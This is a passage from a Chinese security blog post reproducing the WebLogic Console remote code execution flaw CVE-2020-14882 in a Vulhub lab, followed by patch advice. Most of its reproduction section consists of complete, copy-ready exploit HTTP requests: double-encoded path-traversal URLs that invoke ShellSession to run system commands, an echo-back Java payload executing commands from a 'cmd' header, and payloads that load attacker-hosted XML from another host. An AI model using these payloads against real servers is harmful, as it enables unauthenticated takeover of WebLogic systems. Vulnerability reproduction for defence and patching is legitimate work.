cmd执行bat结果不回显_CVE202014882 eblogic Console远程代码执行漏洞复现(豪华版)...

网安引领时代,弥天点亮未来   

eda84491a04005e66ac04f7a7b903193.png 0x00漏洞 简述

2020年10月30日, Oracle 官方的 CVE-2020-14882 Weblogic 代码执行漏洞最新补丁可被绕过,该漏洞编号为 CVE-2020-14882 ,漏洞等级:严重 ,漏洞评分:9.8 。

远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic ServerConsole 执行任意代码。

eda84491a04005e66ac04f7a7b903193.png 0x01影响版本

Oracle WeblogicServer 10.3.6.0.0

Oracle WeblogicServer 12.1.3.0.0

Oracle WeblogicServer 12.2.1.3.0

Oracle WeblogicServer 12.2.1.4.0

Oracle WeblogicServer 14.1.1.0.0

eda84491a04005e66ac04f7a7b903193.png 0x02漏洞复现

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

51260d1ebbbd59d8ed81a394c01982dd.png

1、访问漏洞环境

http://192.168.60.130:7001/console/login/LoginForm.jsp

03b9bf100b3612487639b5c4bfa97cca.png

2、在漏洞利用时根据不同需求进行Pyload构造。目前有常用的三种:

1.执行payload后不回显,但是已经执行成功。

构造payload执行:

GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/yunzui');") HTTP/1.1Host: 192.168.60.130:7001Cache-Control: max-age=0DNT: 1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.60.130:7001/console/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: ADMINCONSOLESESSION=-KSLiFfIosk7pDYFYp701K0Svy9__G8yZefB7whwyLGLvkhjKbTD!-355433482Connection: closeContent-Length: 4

3948318d15b6bc27e9fa4340f14aec19.png

效果查看

c21aa061e5f215cb4a805041e4d95199.png

或者使用dnslog平台进行验证

生成DNS域名:idvek9.dnslog.cn

e69d131a82aad36855220a7c1ef2f403.png

构造payload进行执行

32f7a0e10b58d998e7d619bd16443dbd.png

效果查看

748f369f84a93e2d8a9328d980f7350a.png

或者使用python脚本进行漏洞利用

0267f495122f5b61d750f3c43ba92137.png

效果查看

8c17d905f24766b60a8161999f7fee3d.png

2.执行payload后回显

通过GET方式进行payload提交

GET/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThreadcurrentThread = (weblogic.work.ExecuteThread)Thread.currentThread();weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork();java.lang.reflect.Field field =adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Objectobj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req =(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj);String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")? new String[]{"cmd.exe", "/c", cmd} : newString[]{"/bin/sh", "-c", cmd};if(cmd != null ){ Stringresult = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next();weblogic.servlet.internal.ServletResponseImpl res =(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(newweblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}currentThread.interrupt();') HTTP/1.1Host:192.168.60.130:7001Upgrade-Insecure-Requests:1User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/86.0.4240.111 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding:gzip, deflateAccept-Language:zh-CN,zh;q=0.9Connection: closecmd:idContent-Length: 0

执行:id

aed843aeea82f29f764956d78aee78ab.png

通过POST方式进行payload提交

POST/console/css/%252e%252e%252fconsole.portal HTTP/1.1Host:192.168.60.130:7001cmd: idUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/85.0.4183.121 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding:gzip, deflateAccept-Language:zh-CN,zh;q=0.9Connection: closeContent-Type:application/x-www-form-urlencodedContent-Length: 1258 _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThreadexecuteThread = (weblogic.work.ExecuteThread) Thread.currentThread();weblogic.work.WorkAdapteradapter = executeThread.getCurrentWork();java.lang.reflect.Fieldfield = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj =field.get(adapter);weblogic.servlet.internal.ServletRequestImplreq = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);String cmd =req.getHeader("cmd");String[] cmds =System.getProperty("os.name").toLowerCase().contains("window")? new String[]{"cmd.exe", "/c", cmd} : newString[]{"/bin/sh", "-c", cmd};if (cmd != null) {    String result = newjava.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();   weblogic.servlet.internal.ServletResponseImpl res =(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);   res.getServletOutputStream().writeStream(newweblogic.xml.util.StringInputStream(result));    res.getServletOutputStream().flush();    res.getWriter().write("");}executeThread.interrupt();");

执行:id

4b84a372a216345f3279a9c79a84af36.png

3.通过把payload构造为XML格式进行引用

b76f3f6ff83b5dbfb0827aa33f556b08.png

通过DNSLog平台生成域名:

bq11vi.dnslog.cn

744e845f8d4f405fa00325d53b28d4a3.png

执行(GET)

GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.60.1/weblogic.xml")HTTP/1.1Host: 192.168.60.130:7001Cache-Control: max-age=0DNT: 1Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Referer: http://192.168.60.130:7001/console/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie:ADMINCONSOLESESSION=-KSLiFfIosk7pDYFYp701K0Svy9__G8yZefB7whwyLGLvkhjKbTD!-355433482Connection: close

abfd00e392d8e433154276bfb6369678.png

效果查看

1576b12d04144a921fd77227fd1eafee.png

执行(POST)

POST /console/images/%252E%252E%252Fconsole.portalHTTP/1.1Host: 192.168.60.130:7001User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept-Encoding: gzip, deflateAccept: */*Connection: keep-aliveContent-type: application/x-www-form-urlencoded;charset=utf-8Content-Length: 153CMD:whoami _nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.60.1/weblogic.xml")

83b5dbcb6447914d6aff0903a33dda02.png

效果查看

0b3f0810d345b444073e4cdac8c8dd31.png

eda84491a04005e66ac04f7a7b903193.png 0x03修复建议

1、建议用户及时将 Weblogic 后台/console/console.portal 对外的访问权限暂时关闭。

2、此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。

注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

0x05参考链接

https://www.safedog.cn/news.html?id=4533

http://blog.nsfocus.net/weblogic-console-http-1028/

https://leaderzhang.com/

关注弥天安全实验室微信公众平台,回复weblogic获取POC及Python脚本!

003170067f2bc6dad455da3abf225dc9.gif 

知识分享完了

喜欢别忘了关注我们哦~

予以风动,必降弥天之润!

   弥  天

安全实验室

e8a2003364ef3b4441677adb8d253978.png
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值